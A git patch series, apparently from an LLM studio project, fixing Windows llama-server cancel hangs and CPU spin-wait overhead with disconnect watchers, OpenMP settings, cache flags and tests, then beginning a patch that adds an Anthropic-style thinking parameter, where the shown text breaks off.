From 9f694ab750e90bdd55c261f3c0e9a895b6620db4 Mon Sep 17 00:00:00 2001
From: Anmol Mishra <anmolxlight@gmail.com>
Date: Mon, 15 Jun 2026 15:02:10 +0530
Subject: [PATCH 01/91] fix(studio): Windows GGUF cancel hang + CPU spinlock
 overhead (#5692) (#5749)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* fix(studio): Windows GGUF cancel hang + CPU spinlock overhead (#5692)

Two fixes for Windows-native GGUF inference via llama-server:

**Issue 1 — GPU/CUDA Hang on Stream Cancellation:**
- Add `Connection: close` header to all httpx requests proxying to
  llama-server, preventing Keep-Alive from masking downstream socket
  closure.
- Introduce `_await_disconnect_then_close` background watcher that
  polls `request.is_disconnected()` every 100ms and calls
  `resp.aclose()` immediately when the client disconnects. This runs
  alongside the existing cancel-POST watcher and covers client aborts
  that never reach the /cancel endpoint (tab close, proxy aborts,
  Colab, mobile navigation, etc.).
- Change all StreamingResponse `Connection: keep-alive` headers to
  `Connection: close`.

**Issue 2 — High CPU Spinlock & KV Cache Backup Overhead:**
- Set OMP_WAIT_POLICY=PASSIVE and OMP_NUM_THREADS=2 in the
  llama-server subprocess environment on Windows to prevent OpenMP
  from spin-waiting on all logical cores while the GPU decodes.
- Limit `--threads` to 2 on Windows when the model is fully
  GPU-offloaded (`-ngl -1`). Auto-detect otherwise.
- Pass `--cache-ram 0 --ctx-checkpoints 0 --no-cache-prompt
  --checkpoint-every-n-tokens -1` on Windows to disable prompt-cache
  snapshots that copy KV cache to system RAM over the WDDM/PCI-E bus.

Closes #5692.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: use local import to avoid ruff F823 (sys used before assignment)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* review: address gemini review feedback

- Simplify _fully_gpu_offloaded init: default to False, only set True
  in the gpu_indices branch, drop redundant else.
- Log exceptions in _await_disconnect_then_close at debug level instead
  of silent pass, per review suggestion.

* Adjust review feedback for PR #5749

- _await_disconnect_then_close: set cancel_event before resp.aclose() so
  the streamer's RemoteProtocolError handler treats the watcher-driven
  close as cancellation, not an upstream error. Both call sites pass
  cancel_event through.
- Windows --cache-ram / --no-cache-prompt / --ctx-checkpoints block: gate
  on _fully_gpu_offloaded so CPU and partial-offload Windows runs keep
  prompt-cache reuse across turns.
- Windows OMP_WAIT_POLICY / OMP_NUM_THREADS env: same gate so CPU and
  partial-offload Windows runs keep default OpenMP parallelism.

* Shorten code comments touched by PR #5749

* Clean up local imports and rename underscore locals in PR #5749

- Drop the function-local `import sys as _sys` introduced as an F823
  workaround; remove the redundant in-function `import os`/`import sys`
  block so module-level imports resolve sys/os instead. F823 no longer
  triggers because no shadowing import remains inside load_model.
- Rename `_fully_gpu_offloaded` and `_t` to `fully_gpu_offloaded` and
  `threads_arg`. Underscore-prefixed names usually mean private/module-
  level; plain locals match Python style for in-function temporaries.

No behavior change. ruff clean, py_compile clean, 35 studio cancel-
infra tests + 13 launch-gating AST locks + 6 disconnect-watcher locks
+ 4 spoof live-import tests all pass.

* Fix Windows GGUF follow-ups for PR #5749

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix cache flag gating for PR #5749

* Fix Python 3.9 annotations for PR #5749

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Anmol Mishra <anmolx.work@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 102 ++++++++++---
 studio/backend/routes/inference.py            | 137 ++++++++++++++----
 .../tests/test_llama_cpp_mtp_detection.py     |  73 ++++++++++
 .../test_stream_cancel_registration_timing.py |  34 +++++
 4 files changed, 303 insertions(+), 43 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 57cc97f3b5..8657179b73 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -23,7 +23,7 @@ import sys
 import threading
 import time
 from pathlib import Path
-from typing import Callable, Generator, Iterable, List, Optional
+from typing import Callable, Collection, Generator, Iterable, List, Optional, Union
 
 import httpx
 
@@ -567,14 +567,27 @@ def _auto_mode_drops_mtp(
 def _extra_args_set_spec_type(extra_args: Optional[Iterable[str]]) -> bool:
     """User passed --spec-type / --spec-default? llama-server takes one
     --spec-type (comma-separated to chain), so suppress auto-emit."""
+    return _extra_args_set_any_flag(extra_args, {"--spec-type", "--spec-default"})
+
+
+_GPU_OFFLOAD_OVERRIDE_FLAGS = frozenset({"-ngl", "--gpu-layers", "--n-gpu-layers", "-fit", "--fit"})
+_THREAD_OVERRIDE_FLAGS = frozenset({"-t", "--threads"})
+
+
+def _extra_arg_flag_name(token: str) -> Optional[str]:
+    if not token.startswith("-") or token in {"-", "--"}:
+        return None
+    if len(token) >= 2 and (token[1].isdigit() or token[1] == "."):
+        return None
+    return token.split("=", 1)[0]
+
+
+def _extra_args_set_any_flag(extra_args: Optional[Iterable[str]], flags: Collection[str]) -> bool:
     if not extra_args:
         return False
     for raw in extra_args:
-        tok = str(raw)
-        if not tok.startswith("--"):
-            continue
-        flag = tok.split("=", 1)[0]
-        if flag in ("--spec-type", "--spec-default"):
+        flag = _extra_arg_flag_name(str(raw))
+        if flag in flags:
             return True
     return False
 
@@ -1217,7 +1230,7 @@ class LlamaCppBackend:
     def probe_server_capabilities(cls, binary: Optional[str] = None) -> dict[str, object]:
         """Parse `llama-server --help` for feature flags. Returns
         {found, mtp_token, supports_mtp, ngram_mod_flavor,
-        supports_ngram_mod, spec_draft_n_max_flag}.
+        supports_ngram_mod, spec_draft_n_max_flag, cache flag support}.
 
         ``ngram_mod_flavor``: ``"new"`` when the post-rename
         ``--spec-ngram-mod-n-match / -n-min / -n-max`` are real args;
@@ -1242,6 +1255,9 @@ class LlamaCppBackend:
                 "spec_draft_n_max_flag": None,
                 "supports_kv_unified": False,
                 "supports_fit_ctx": False,
+                "supports_cache_ram": False,
+                "supports_ctx_checkpoints": False,
+                "supports_no_cache_prompt": False,
             }
         try:
             mtime = int(Path(bin_path).stat().st_mtime)
@@ -1257,6 +1273,9 @@ class LlamaCppBackend:
         spec_draft_n_max_flag: Optional[str] = None
         supports_kv_unified = False
         supports_fit_ctx = False
+        supports_cache_ram = False
+        supports_ctx_checkpoints = False
+        supports_no_cache_prompt = False
         try:
             result = subprocess.run(
                 [bin_path, "--help"],
@@ -1347,6 +1366,9 @@ class LlamaCppBackend:
 
             supports_kv_unified = _is_real("--kv-unified")
             supports_fit_ctx = _is_real("--fit-ctx")
+            supports_cache_ram = _is_real("--cache-ram")
+            supports_ctx_checkpoints = _is_real("--ctx-checkpoints")
+            supports_no_cache_prompt = _is_real("--no-cache-prompt")
         except (OSError, subprocess.SubprocessError) as exc:
             logger.debug(f"llama-server --help probe failed: {exc}")
 
@@ -1359,6 +1381,9 @@ class LlamaCppBackend:
             "spec_draft_n_max_flag": spec_draft_n_max_flag,
             "supports_kv_unified": supports_kv_unified,
             "supports_fit_ctx": supports_fit_ctx,
+            "supports_cache_ram": supports_cache_ram,
+            "supports_ctx_checkpoints": supports_ctx_checkpoints,
+            "supports_no_cache_prompt": supports_no_cache_prompt,
         }
         cls._capability_cache[cache_key] = info
         return info
@@ -3924,27 +3949,43 @@ class LlamaCppBackend:
                     "--no-context-shift",
                 ]
 
+                fully_gpu_offloaded = False
                 if use_fit:
                     cmd.extend(["--fit", "on"])
                 elif gpu_indices is not None:
                     # Fits on selected GPU(s) -- offload all layers
                     cmd.extend(["-ngl", "-1"])
+                    fully_gpu_offloaded = True
 
+                server_caps = self.probe_server_capabilities(binary)
                 cmd.extend(
                     self._ctx_integrity_flags(
                         n_parallel,
                         use_fit,
                         requested_ctx,
                         effective_ctx,
-                        self.probe_server_capabilities(binary),
+                        server_caps,
                     )
                 )
+                offload_overridden = _extra_args_set_any_flag(
+                    extra_args, _GPU_OFFLOAD_OVERRIDE_FLAGS
+                )
+                threads_overridden = _extra_args_set_any_flag(extra_args, _THREAD_OVERRIDE_FLAGS)
+                full_offload_tuning_active = fully_gpu_offloaded and not offload_overridden
 
-                # -1 = llama.cpp auto-detect (physical cores). Pass explicitly
-                # so we don't inherit llama-server's internal default, which
-                # has varied (hardware concurrency incl. hyperthreads on some
-                # builds).
-                cmd.extend(["--threads", str(n_threads if n_threads is not None else -1)])
+                # Pass --threads explicitly so we do not inherit llama-server
+                # defaults. Windows + full offload caps at 2 to stop OpenMP
+                # spin-wait burning CPU during GPU decode. User pass-through
+                # offload/thread flags keep last-wins semantics. #5692.
+                if (
+                    sys.platform == "win32"
+                    and full_offload_tuning_active
+                    and not threads_overridden
+                ):
+                    threads_arg = 2
+                else:
+                    threads_arg = n_threads if n_threads is not None else -1
+                cmd.extend(["--threads", str(threads_arg)])
 
                 # Enable Jinja chat template rendering
                 cmd.extend(["--jinja"])
@@ -4086,6 +4127,28 @@ class LlamaCppBackend:
                 else:
                     self._api_key = None
 
+                # Windows + full offload: disable KV checkpoints (WDDM/PCI-E
+                # overhead). CPU/partial offload keeps prompt caching. #5692.
+                if sys.platform == "win32" and full_offload_tuning_active:
+                    unsupported_cache_flags: list[str] = []
+                    if server_caps.get("supports_cache_ram"):
+                        cmd.extend(["--cache-ram", "0"])
+                    else:
+                        unsupported_cache_flags.append("--cache-ram")
+                    if server_caps.get("supports_ctx_checkpoints"):
+                        cmd.extend(["--ctx-checkpoints", "0"])
+                    else:
+                        unsupported_cache_flags.append("--ctx-checkpoints")
+                    if server_caps.get("supports_no_cache_prompt"):
+                        cmd.append("--no-cache-prompt")
+                    else:
+                        unsupported_cache_flags.append("--no-cache-prompt")
+                    if unsupported_cache_flags:
+                        logger.info(
+                            "Skipping unsupported Windows cache flags for llama-server: %s",
+                            ", ".join(unsupported_cache_flags),
+                        )
+
                 # User pass-through args go last so llama.cpp's last-wins parsing
                 # lets the user override Studio's auto-set flags. Already
                 # validated by the route via validate_extra_args().
@@ -4101,9 +4164,6 @@ class LlamaCppBackend:
                 logger.info(f"Starting llama-server: {' '.join(_log_cmd)}")
 
                 # Library paths so llama-server finds its shared libs and CUDA DLLs.
-                import os
-                import sys
-
                 env = child_env_without_native_path_secret()
                 binary_dir = str(Path(binary).parent)
 
@@ -4131,6 +4191,14 @@ class LlamaCppBackend:
                     existing_path = env.get("PATH", "")
                     env["PATH"] = ";".join(path_dirs) + ";" + existing_path
 
+                    # Windows + full offload: PASSIVE OMP + 2 threads stop
+                    # spin-wait burning CPU. CPU/partial offload keeps
+                    # default OMP parallelism. #5692.
+                    if full_offload_tuning_active:
+                        env.setdefault("OMP_WAIT_POLICY", "PASSIVE")
+                        if not threads_overridden:
+                            env.setdefault("OMP_NUM_THREADS", "2")
+
                     # ROCm: the prebuilt bundles rocblas.dll but NOT the Tensile
                     # kernel files (rocblas/library/*.dat + *.hsaco); the DLL
                     # searches <binary_dir>/rocblas/library/ which doesn't exist
@@ -5512,7 +5580,7 @@ class LlamaCppBackend:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         seed: Optional[int] = None,
-    ) -> Generator[str | dict, None, None]:
+    ) -> Generator[Union[str, dict], None, None]:
         """
         Send a chat completion to llama-server and stream tokens back.
 
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 2f9ed35936..3e13774639 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1194,6 +1194,23 @@ async def _await_cancel_then_close(cancel_event, resp) -> None:
         return
 
 
+async def _await_disconnect_then_close(request, resp, cancel_event) -> None:
+    """Close ``resp`` on client disconnect; sets ``cancel_event`` first so
+    the streamer's RemoteProtocolError handler treats it as cancellation.
+    Catches aborts the in-loop /cancel check misses during prefill. #5692.
+    """
+    try:
+        while not await request.is_disconnected():
+            await asyncio.sleep(0.1)
+        cancel_event.set()
+        try:
+            await resp.aclose()
+        except Exception as e:
+            logger.debug("Failed to close response on disconnect: %s", e)
+    except asyncio.CancelledError:
+        return
+
+
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
 # where the artifact tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
@@ -2302,7 +2319,7 @@ async def generate_stream(
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
-            "Connection": "keep-alive",
+            "Connection": "close",
         },
     )
 
@@ -3696,7 +3713,7 @@ async def openai_chat_completions(
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
-                        "Connection": "keep-alive",
+                        "Connection": "close",
                         "X-Accel-Buffering": "no",
                     },
                 )
@@ -4117,7 +4134,7 @@ async def openai_chat_completions(
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
-                    "Connection": "keep-alive",
+                    "Connection": "close",
                     "X-Accel-Buffering": "no",
                 },
             )
@@ -4260,7 +4277,7 @@ async def openai_chat_completions(
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
-                    "Connection": "keep-alive",
+                    "Connection": "close",
                     "X-Accel-Buffering": "no",
                 },
             )
@@ -4664,7 +4681,7 @@ async def openai_chat_completions(
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
-                    "Connection": "keep-alive",
+                    "Connection": "close",
                     "X-Accel-Buffering": "no",
                 },
             )
@@ -4865,7 +4882,7 @@ async def openai_chat_completions(
             media_type = "text/event-stream",
             headers = {
                 "Cache-Control": "no-cache",
-                "Connection": "keep-alive",
+                "Connection": "close",
                 "X-Accel-Buffering": "no",
             },
         )
@@ -5120,8 +5137,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
             client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
             resp = None
             bytes_iter = None
+            disconnect_event = threading.Event()
+            disconnect_watcher = None
             try:
-                req = client.build_request("POST", target_url, json = body)
+                req = client.build_request(
+                    "POST", target_url, json = body, headers = {"Connection": "close"}
+                )
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                 resp = await _send_stream_with_preheader_cancel(client, req, request = request)
                 if resp is None:
@@ -5130,10 +5151,14 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                     err_bytes = await resp.aread()
                     err_text = err_bytes.decode("utf-8", errors = "replace")
                     raise RuntimeError(f"llama-server returned {resp.status_code}: {err_text}")
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_close(request, resp, disconnect_event)
+                )
                 bytes_iter = resp.aiter_bytes()
                 buffer = b""
                 async for chunk in _aiter_llama_stream_items(
                     bytes_iter,
+                    cancel_event = disconnect_event,
                     request = request,
                     first_token_deadline = first_token_deadline,
                     response = resp,
@@ -5144,19 +5169,33 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                         out = _cmpl_stream_event_out(event, _include_usage)
                         if out is not None:
                             yield out + b"\n\n"
-                if buffer:
+                if not disconnect_event.is_set() and buffer:
                     out = _cmpl_stream_event_out(buffer, _include_usage)
                     if out is not None:
                         # Re-add the SSE separator the split consumed, so a final
                         # event arriving without a trailing blank line is still
                         # terminated for the client's parser.
                         yield out + b"\n\n"
+            except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
+                if not disconnect_event.is_set():
+                    logger.error("openai_completions stream error: %s", e)
+                    error_chunk = _openai_stream_error_chunk(e)
+                    yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                    return
             except Exception as e:
+                if disconnect_event.is_set():
+                    return
                 logger.error("openai_completions stream error: %s", e)
                 error_chunk = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
                 return
             finally:
+                if disconnect_watcher is not None:
+                    disconnect_watcher.cancel()
+                    try:
+                        await disconnect_watcher
+                    except (asyncio.CancelledError, Exception):
+                        pass
                 if bytes_iter is not None:
                     try:
                         await bytes_iter.aclose()
@@ -6063,8 +6102,12 @@ async def _responses_stream(
         client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
         resp = None
         lines_iter = None
+        disconnect_event = threading.Event()
+        disconnect_watcher = None
         try:
-            req = client.build_request("POST", target_url, json = body)
+            req = client.build_request(
+                "POST", target_url, json = body, headers = {"Connection": "close"}
+            )
             first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
             try:
                 resp = await _send_stream_with_preheader_cancel(client, req, request = request)
@@ -6117,9 +6160,13 @@ async def _responses_stream(
                 )
                 return
 
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_close(request, resp, disconnect_event)
+            )
             lines_iter = resp.aiter_lines()
             async for raw_line in _aiter_llama_stream_items(
                 lines_iter,
+                cancel_event = disconnect_event,
                 request = request,
                 first_token_deadline = first_token_deadline,
                 response = resp,
@@ -6240,7 +6287,18 @@ async def _responses_stream(
                 if usage:
                     input_tokens = usage.get("prompt_tokens", input_tokens)
                     output_tokens = usage.get("completion_tokens", output_tokens)
+        except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
+            if not disconnect_event.is_set():
+                logger.error("responses stream error: %s", e)
+                status_code = 400 if _classify_llama_generation_error(e) is not None else 500
+                yield _sse(
+                    "response.failed",
+                    _failed_response_payload(e, status_code),
+                )
+                return
         except Exception as e:
+            if disconnect_event.is_set():
+                return
             logger.error("responses stream error: %s", e)
             status_code = 400 if _classify_llama_generation_error(e) is not None else 500
             yield _sse(
@@ -6249,6 +6307,12 @@ async def _responses_stream(
             )
             return
         finally:
+            if disconnect_watcher is not None:
+                disconnect_watcher.cancel()
+                try:
+                    await disconnect_watcher
+                except (asyncio.CancelledError, Exception):
+                    pass
             if lines_iter is not None:
                 try:
                     await lines_iter.aclose()
@@ -6264,6 +6328,9 @@ async def _responses_stream(
             except Exception:
                 pass
 
+        if disconnect_event.is_set():
+            return
+
         final_reasoning, final_visible = extractor.finish()
         if final_reasoning:
             for event in _ensure_reasoning_open():
@@ -6470,7 +6537,7 @@ async def _responses_stream(
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
-            "Connection": "keep-alive",
+            "Connection": "close",
             "X-Accel-Buffering": "no",
         },
     )
@@ -7071,7 +7138,7 @@ async def _anthropic_tool_stream(
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
-            "Connection": "keep-alive",
+            "Connection": "close",
             "X-Accel-Buffering": "no",
         },
     )
@@ -7138,7 +7205,7 @@ async def _anthropic_plain_stream(
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
-            "Connection": "keep-alive",
+            "Connection": "close",
             "X-Accel-Buffering": "no",
         },
     )
@@ -7472,8 +7539,11 @@ async def _anthropic_passthrough_stream(
         resp = None
         lines_iter = None
         cancel_watcher = None
+        disconnect_watcher = None
         try:
-            req = client.build_request("POST", target_url, json = body)
+            req = client.build_request(
+                "POST", target_url, json = body, headers = {"Connection": "close"}
+            )
             first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
             resp = await _send_stream_with_preheader_cancel(
                 client, req, cancel_event, request = request
@@ -7502,11 +7572,12 @@ async def _anthropic_passthrough_stream(
                 )
                 return
 
-            # See _openai_passthrough_stream for rationale: aiter_lines()
-            # blocks during llama-server prefill, so the in-loop cancel
-            # check is unreachable until the first SSE chunk arrives.
-            # The watcher closes `resp` on cancel, raising in aiter_lines.
+            # Watchers unblock aiter_lines() during prefill, before in-loop
+            # cancel/disconnect checks can run.
             cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_close(request, resp, cancel_event)
+            )
             lines_iter = resp.aiter_lines()
             async for raw_line in _aiter_llama_stream_items(
                 lines_iter,
@@ -7555,6 +7626,12 @@ async def _anthropic_passthrough_stream(
                     await cancel_watcher
                 except (asyncio.CancelledError, Exception):
                     pass
+            if disconnect_watcher is not None:
+                disconnect_watcher.cancel()
+                try:
+                    await disconnect_watcher
+                except (asyncio.CancelledError, Exception):
+                    pass
             if lines_iter is not None:
                 try:
                     await lines_iter.aclose()
@@ -7579,7 +7656,7 @@ async def _anthropic_passthrough_stream(
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
-            "Connection": "keep-alive",
+            "Connection": "close",
             "X-Accel-Buffering": "no",
         },
     )
@@ -7994,7 +8071,9 @@ async def _openai_passthrough_stream(
         )
         while True:
             try:
-                req = client.build_request("POST", target_url, json = body)
+                req = client.build_request(
+                    "POST", target_url, json = body, headers = {"Connection": "close"}
+                )
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                 resp = await _send_stream_with_preheader_cancel(
                     client, req, cancel_event, request = request
@@ -8064,13 +8143,12 @@ async def _openai_passthrough_stream(
             # save resp.aiter_lines() so the finally block can aclose() it on
             # our task. See that function for full rationale.
             lines_iter = None
-            # During llama-server prefill, `aiter_lines()` blocks until the
-            # first SSE chunk arrives. The in-loop `cancel_event` check can't
-            # fire until then -- the exact proxy/Colab scenario the cancel POST
-            # recovers from. Run a tiny watcher that closes `resp` as soon as
-            # cancel fires, unblocking the iterator with a RemoteProtocolError
-            # caught in the except clause below.
+            # Watchers unblock aiter_lines() during prefill, before in-loop
+            # cancel/disconnect checks can run.
             cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_close(request, resp, cancel_event)
+            )
             try:
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
@@ -8101,6 +8179,8 @@ async def _openai_passthrough_stream(
                 if not cancel_event.is_set():
                     raise
             except Exception as e:
+                if cancel_event.is_set():
+                    return
                 # 200 headers already flushed; errors must go in the SSE body.
                 logger.error("openai passthrough stream error: %s", e)
                 err = _openai_stream_error_chunk(e)
@@ -8111,6 +8191,11 @@ async def _openai_passthrough_stream(
                     await cancel_watcher
                 except (asyncio.CancelledError, Exception):
                     pass
+                disconnect_watcher.cancel()
+                try:
+                    await disconnect_watcher
+                except (asyncio.CancelledError, Exception):
+                    pass
                 if lines_iter is not None:
                     try:
                         await lines_iter.aclose()
@@ -8131,7 +8216,7 @@ async def _openai_passthrough_stream(
             media_type = "text/event-stream",
             headers = {
                 "Cache-Control": "no-cache",
-                "Connection": "keep-alive",
+                "Connection": "close",
                 "X-Accel-Buffering": "no",
             },
         )
diff --git a/studio/backend/tests/test_llama_cpp_mtp_detection.py b/studio/backend/tests/test_llama_cpp_mtp_detection.py
index b00cd7169e..2cc0fb4184 100644
--- a/studio/backend/tests/test_llama_cpp_mtp_detection.py
+++ b/studio/backend/tests/test_llama_cpp_mtp_detection.py
@@ -9,6 +9,7 @@ the _already_in_target_state mirror that prevents needless reloads.
 
 from __future__ import annotations
 
+import inspect
 import struct
 import sys
 import types as _types
@@ -52,9 +53,12 @@ import pytest
 
 from core.inference.llama_cpp import (
     LlamaCppBackend,
+    _GPU_OFFLOAD_OVERRIDE_FLAGS,
+    _THREAD_OVERRIDE_FLAGS,
     _backfill_usage_from_timings,
     _build_ngram_mod_flags,
     _canonicalize_spec_mode,
+    _extra_args_set_any_flag,
     _extra_args_set_spec_type,
     _is_mtp_model_name,
 )
@@ -315,6 +319,46 @@ def test_extra_args_set_spec_type_passes_on_non_spec_type_args(extra_args):
     assert _extra_args_set_spec_type(extra_args) is False
 
 
+@pytest.mark.parametrize(
+    "extra_args",
+    [
+        ["-ngl", "12"],
+        ["--gpu-layers", "12"],
+        ["--n-gpu-layers=12"],
+        ["-fit", "off"],
+        ["--fit=off"],
+    ],
+)
+def test_extra_args_detect_gpu_offload_overrides(extra_args):
+    assert _extra_args_set_any_flag(extra_args, _GPU_OFFLOAD_OVERRIDE_FLAGS) is True
+
+
+@pytest.mark.parametrize("extra_args", [["-t", "8"], ["--threads=8"]])
+def test_extra_args_detect_thread_overrides(extra_args):
+    assert _extra_args_set_any_flag(extra_args, _THREAD_OVERRIDE_FLAGS) is True
+
+
+def test_windows_full_offload_flags_use_current_llama_server_args():
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    stale_checkpoint_flag = "--checkpoint-" + "every-n-tokens"
+    assert '"--cache-ram"' in src
+    assert '"--ctx-checkpoints"' in src
+    assert '"--no-cache-prompt"' in src
+    assert stale_checkpoint_flag not in src
+
+
+def test_load_model_sets_threads_once():
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert src.count('cmd.extend(["--threads", str(') == 1
+
+
+def test_llama_cpp_annotations_stay_python39_safe():
+    src = inspect.getsource(LlamaCppBackend.generate_chat_completion)
+    helper_src = inspect.getsource(_extra_args_set_any_flag)
+    assert "Generator[str | dict" not in src
+    assert "set[str] | frozenset[str]" not in helper_src
+
+
 def test_already_in_target_state_user_spec_type_override_matches_clean_backend():
     # User --spec-type none suppressed auto-MTP; repeat /load must not re-promote.
     backend = _mtp_backend(
@@ -554,6 +598,9 @@ def test_probe_server_capabilities_handles_missing_binary():
     caps = LlamaCppBackend.probe_server_capabilities("/no/such/llama-server")
     assert caps["found"] is False
     assert caps["supports_mtp"] is False
+    assert caps["supports_cache_ram"] is False
+    assert caps["supports_ctx_checkpoints"] is False
+    assert caps["supports_no_cache_prompt"] is False
 
 
 # ngram-mod flag flavor detection (new vs legacy llama-server).
@@ -588,6 +635,12 @@ _LEGACY_HELP = """\
 --spec-type none,ngram-mod,ngram-simple                                        comma-separated list of types of speculative decoding to use
 """
 
+_CACHE_FLAGS_HELP = """\
+--cache-ram N                           store prompt cache in RAM (default: 0)
+--ctx-checkpoints N                     number of context checkpoints (default: 0)
+--no-cache-prompt                       do not reuse prompt cache
+"""
+
 
 @_NEEDS_BASH
 def test_probe_detects_post_rename_ngram_mod_flavor(tmp_path):
@@ -634,6 +687,26 @@ def test_probe_no_ngram_mod_on_minimal_binary(tmp_path):
     assert caps["supports_ngram_mod"] is False
 
 
+@_NEEDS_BASH
+def test_probe_detects_windows_cache_flags(tmp_path):
+    fake = _make_fake_llama_server(tmp_path / "llama-server", _CACHE_FLAGS_HELP)
+    _clear_caps_cache()
+    caps = LlamaCppBackend.probe_server_capabilities(str(fake))
+    assert caps["supports_cache_ram"] is True
+    assert caps["supports_ctx_checkpoints"] is True
+    assert caps["supports_no_cache_prompt"] is True
+
+
+@_NEEDS_BASH
+def test_probe_reports_windows_cache_flags_absent_for_older_binary(tmp_path):
+    fake = _make_fake_llama_server(tmp_path / "llama-server", "--threads N\n")
+    _clear_caps_cache()
+    caps = LlamaCppBackend.probe_server_capabilities(str(fake))
+    assert caps["supports_cache_ram"] is False
+    assert caps["supports_ctx_checkpoints"] is False
+    assert caps["supports_no_cache_prompt"] is False
+
+
 def test_build_ngram_mod_flags_new():
     flags = _build_ngram_mod_flags({"ngram_mod_flavor": "new"})
     assert flags == [
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 6bd74f00de..3fd91a5188 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -69,6 +69,21 @@ def _finalbody_has_tracker_exit(finalbody) -> bool:
     return False
 
 
+def _async_function(name: str) -> ast.AsyncFunctionDef:
+    for node in ast.walk(_TREE):
+        if isinstance(node, ast.AsyncFunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"{name} handler missing")
+
+
+def _calls_name(node: ast.AST, name: str) -> bool:
+    for sub in ast.walk(node):
+        if isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name):
+            if sub.func.id == name:
+                return True
+    return False
+
+
 # ── Structural tests ─────────────────────────────────────────
 
 
@@ -160,6 +175,25 @@ def test_streaming_responses_have_no_background_task():
         )
 
 
+def test_direct_llama_server_streams_install_disconnect_watcher():
+    required = {
+        "openai_completions",
+        "_responses_stream",
+        "_anthropic_passthrough_stream",
+        "_openai_passthrough_stream",
+    }
+    missing = [
+        name
+        for name in sorted(required)
+        if not _calls_name(_async_function(name), "_await_disconnect_then_close")
+    ]
+    assert not missing, (
+        "Direct httpx streams to llama-server must close the upstream response "
+        "when the downstream client disconnects during prefill. Missing in: "
+        f"{missing}"
+    )
+
+
 # ── Behavioral helpers ───────────────────────────────────────
 
 _WANTED = {

From 930dd17086a1b75317f9e1d20de39a134cbb82fe Mon Sep 17 00:00:00 2001
From: maattm <139474836+maattm@users.noreply.github.com>
Date: Mon, 15 Jun 2026 10:35:33 +0100
Subject: [PATCH 02/91] feat: add Anthropic-compatible thinking parameter
 (#5856)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* feat: add Anthropic-compatible thinking parameter

Add `thinking` parameter using Anthropic's format ({type: 'disabled'} /
{type: 'enabled'}) alongside the existing `enable_thinking` boolean for
backward compatibility.

The new parameter is mapped internally to `enable_thinking` at the route
layer so all downstream templates and backends continue to work unchanged.

Changes:
- Add ThinkingConfig model and `thinking` field to ChatCompletionRequest
- Add mapping logic in routes: thinking.type -> enable_thinking
- Add `thinking` field to frontend TypeScript types
- Update frontend request building to send thinking parameter
- Add tests for new thinking parameter

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: move thinking→enable_thinking mapping to model_validator

The Gemini review correctly identified that the route-level mapping
bypasses normalization for external provider requests. Moving the
